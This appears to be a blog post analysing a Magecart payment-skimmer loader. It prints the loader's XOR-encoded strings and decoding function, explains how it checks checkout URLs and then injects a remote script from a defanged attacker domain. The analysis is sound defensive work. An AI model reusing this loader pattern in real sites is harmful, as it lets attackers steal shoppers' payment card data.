A quick examination of a Magecart/Digital Skimmer loader. A loader is just Javascript code that loads additional code. They’re designed to look innocuous, frequently mirroring common tools like Google Analytics. To start, here is the entire code:
If you look at the code, you’ll notice some weird variable names calling a function named addClass
with two seemingly random arguments, the second one always being kpwajqjds1e
.
var attrSolution = addClass('080212001e142f08165c000504', 'kpwajqjds1e'),
tipBox = addClass('181305081a05', 'kpwajqjds1e'),
textAside = addClass('181503201e05180d1144110e', 'kpwajqjds1e'),
propTable = window[addClass('071f14001e18050a', 'kpwajqjds1e')][addClass('1b11030904100701', 'kpwajqjds1e')],
verLeft = addClass('021e1304123e0c', 'kpwajqjds1e');
var openReader = addClass('180214', 'kpwajqjds1e'),
firstDescription = document[addClass('03151605', 'kpwajqjds1e')],
positionSkin = addClass('0a0007040415290c1a5d01', 'kpwajqjds1e');
Looking at the code for addClass
we can see that it’s going through the first argument, grabbing two characters and converting them to an integer. Then it’s doing an XOR against that with one of the characters in the second argument and converting that to a character.
addClass = function(s, k) {
var r = '',
c = null,
x = null;
for (var i = 0, j = 0; i < s.length; i += 2, j++) {
if (j == k.length) j = 0;
x = parseInt(s[i] + s[i + 1], 16);
r += String.fromCharCode(x ^ String(k[j]).charCodeAt()) // XOR here
}
return r
};
The resulting variables after addClass
is called:
attrSolution: "createElement"
textAside: "setAttribute"
propTable: "/checkout/"
veryLeft: "indexOf"
openReader: "src"
firstDescription: "head" // as in the DOM object
positionSkin: "appendChild"
Now that we have those variables, what are they used for? Add a breakpoint on line 36 and then add a Watch Expression for addClass(pickSidebar[i], 'kpwajqjds1e')
and then step through the loop. You’ll see the following values: onestepcheckout, checkout, onepage, onestep, firecheckout, securecheckout, idecheckoutvm, oscheckout, pagamento, odeme, and fechar-compra. If it finds any of those values in the URL path, which is held in propTable
, it will load its payload from a external source that’s controlled by the threat actor. In this case, the threat actor’s endpoint was hxxps://jqueryes[.]com/js/lib/jquery-1.10.2.min.js
. This Javascript contained the actual malicious code that would steal payment information and exfiltrate it.
If you’re wanting to see the code in action, and have it output the threat actor’s endpoint, this modified code will do that: https://gist.github.com/krautface/73bbe236c0cb0f47f334846aab5b617e
If you want to read more about the skimmer, see Sansec’s writeup here: https://sansec.io/research/polymorphic-skimmer-57-payment-gateways
A modified version of this was originally posted on Twitter: https://twitter.com/AffableKraut/status/1133599837935624193
Pingback: Another Magecart Loader » Things I Sort of Know